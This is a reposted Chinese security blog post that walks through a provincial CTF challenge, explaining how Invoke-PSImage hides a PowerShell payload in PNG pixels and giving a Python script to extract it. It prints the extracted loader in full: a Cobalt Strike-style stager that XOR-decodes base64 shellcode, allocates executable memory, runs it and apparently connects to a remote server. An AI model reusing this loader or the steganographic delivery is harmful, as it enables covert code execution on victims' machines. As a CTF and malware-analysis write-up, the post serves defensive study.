从一道题分析Invoke-PSImage隐藏webshell到图片
2023-12-4 16:59:53 Author: xz.aliyun.com(查看原文) 阅读量:7 收藏

写这篇文章的目的主要是群友给我了一道湖南省赛的一道恶意webshell隐藏到图片的题目,感觉之前没怎么遇到过,正好借助这个题目进行学习一下。

下载一下Invoke-PSImage:peewpw/Invoke-PSImage: Encodes a PowerShell script in the pixels of a PNG file and generates a oneliner to execute (github.com)

看一下脚本中怎么定义的:

This tool can either create an image with just the target data, or can embed the payload in
an existing image. When embeding, the least significant 4 bits of 2 color values (2 of RGB) in
each pixel (for as many pixels as are needed for the payload). Image quality will suffer as
a result, but it still looks decent. The image is saved as a PNG, and can be losslessly
compressed without affecting the ability to execute the payload as the data is stored in the
colors themselves. It can accept most image types as input, but output will always be a PNG
because it needs to be lossless

其实脚本已经告诉我们如何进行LSB隐写的

  • 首先,图片像素使用的是RGB模式
  • 之后各选用RGB其中两个颜色分量的低4位存储payload
  • 而且,是对原有图片原有颜色分量的低位进行替换,所以图片的质量会有所下降,正常的LSB隐写是替换RGB三个颜色分量的最低一位,每个像素存储3位的信息,但Invoke-PSImage却2个颜色分量各替换4位,这样存储的信息量大了,但是图片质量也下去了,可以看出前后的区别,如果能知道原有图片的样子,其实能一眼看出经过Invoke-PSImage处理过的图片的区别的。
  • 而且输出的图片一定是PNG格式的

隐写原理分析

查看powershell脚本

for ($counter = 0; $counter -lt ($rgbValues.Length)/3; $counter++) {
            if ($counter -lt $payload.Length){
                $paybyte1 = [math]::Floor($payload[$counter]/16)
                $paybyte2 = ($payload[$counter] -band 0x0f)
                $paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
            } else {
                $paybyte1 = ($randb[$counter%113] -band 0x0f)
                $paybyte2 = ($randb[($counter+1)%67] -band 0x0f)
                $paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
            }
            $rgbValues[($counter*3)] = ($rgbValues[($counter*3)] -band 0xf0) -bor $paybyte1
            $rgbValues[($counter*3+1)] = ($rgbValues[($counter*3+1)] -band 0xf0) -bor $paybyte2
            $rgbValues[($counter*3+2)] = ($rgbValues[($counter*3+2)] -band 0xf0) -bor $paybyte3
        }

这一段其实就是LSB隐写的原理,让我们解析一下

  • 一开始就是一个循环,遍历了一个数组 $rgbValues,数组长度除以3的结果作为循环次数
  • 这里我们假设有写入$counter的第一个数据为0x53,那么$paybyte1=0x53/0x10=0x05,取商
  • 同理,$paybyte2=0x53&0x0f=0x03
  • $paybyte3情况有点特殊,这里就不再演示,因为这里涉及随机数填充,如果我们写入的payload的长度比图片像素的长度小,那么图片多出来的像素会用相同格式进行填充为随机数
  • 之后开始对原像素进行填充payload,假定这里原像素为(0x52,0x51,0x50),那么:$rgbValues[0]=0x52 & 0xf0 | 0x05=0x55
  • 同理进行计算得到,$rgbValues[1]=0x51 & 0xf0 | 0x03=0x53
  • 由于$paybyte3的特殊,这里也不再演示

其实这里也看出来我们的payload存储在G,B通道的低四位,而我们的R通道的低四位则是填充随机数

这里我们结合湖南省赛的题目进行结合分析

附件是一个PNG.exe.zip,因为可能涉及CS上线的问题,我们这里用虚拟机进行解压打开,之后利用Stegsolve看一下RGB三个颜色分量的低位隐写特征

之后看一下低位的数据

发现是有东西的,只不过没有什么特征,我们写一个脚本进行提取一下图片G,B颜色分量的低4位

from PIL import Image

def solove_png(image_path):
    img = Image.open(image_path)
    width, height = img.size
    extract_data = bytearray()
    for y in range(height):
        for x in range(width):
            pixels = img.getpixel((x, y))

            extract_byte = (pixels[1] & 0x0F) | ((pixels[2] & 0x0F) << 4)

            extract_data.append(extract_byte)

    return extract_data

image_path = "flag.png"
data = solove_png(image_path)

with open('1.bin', 'wb') as f:
    f.write(data)

之后分析一下powershell脚本

Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
    Param ($var_module, $var_procedure)     
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )

    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

    return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDGgWS1cjGpI0hZe6GsfELrv0dMOulHAdYaPaOVU7KkUG3g9OFsSjOXFYa0X3UNWMREMuv9o41bGg8w+1tsidMV4cBM7ydEvK6WJeamCBvCN2UEZRDmJERk1XGQNuTFlKT09CDBYNEwMLQExOU0JXSkFPRhgDbnBqZgMSEw0TGAN0Sk1HTFRQA213AxUNERgDdGx0FRcYA3dRSkdGTVcMFQ0TGAN3TFZASxgDbmJvYGlwCi4pI2/utw7TJPc4/wUOni9gVXhvdM0Qja7us+7OvcQ8A+HE4zASUN4YSM/gvJ816irBImYFBycRAxrjhPrBCgJlUBwzNQroE9+HJMM6J1h7shBlW9af64n/lwSlJtmD09JPhPgwV01SBTQyEkdN95JzlNJ8P3P+M8bgzMrdWVLJu5x0RyLX6ADvDz4STNNq49SNn9oWbjxK1ss6+lG9p+X0DM5rRczvjT22x0zZO77IZv0pMdstbnc/EnEH9Xf3lZt9Oq2a2cR6NuD9HsMjS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3BcWDRIXEQ0REhENECNqtSHx')

for ($x = 0; $x -lt $var_code.Count; $x++) {
    $var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
    start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
    IEX $DoIt
}

简单审计一下,其实就是,先base解密一下,然后xor 35即可

得到服务器的IP,端口可以猜测是80,8080,443

Invoke-PSImage利用分析 - 知乎 (zhihu.com)

[【网络安全】红蓝攻防:shellcode的分析_IT老涵的博客-CSDN博客


文章来源: https://xz.aliyun.com/t/13159
如有侵权请联系:admin#unsafe.sh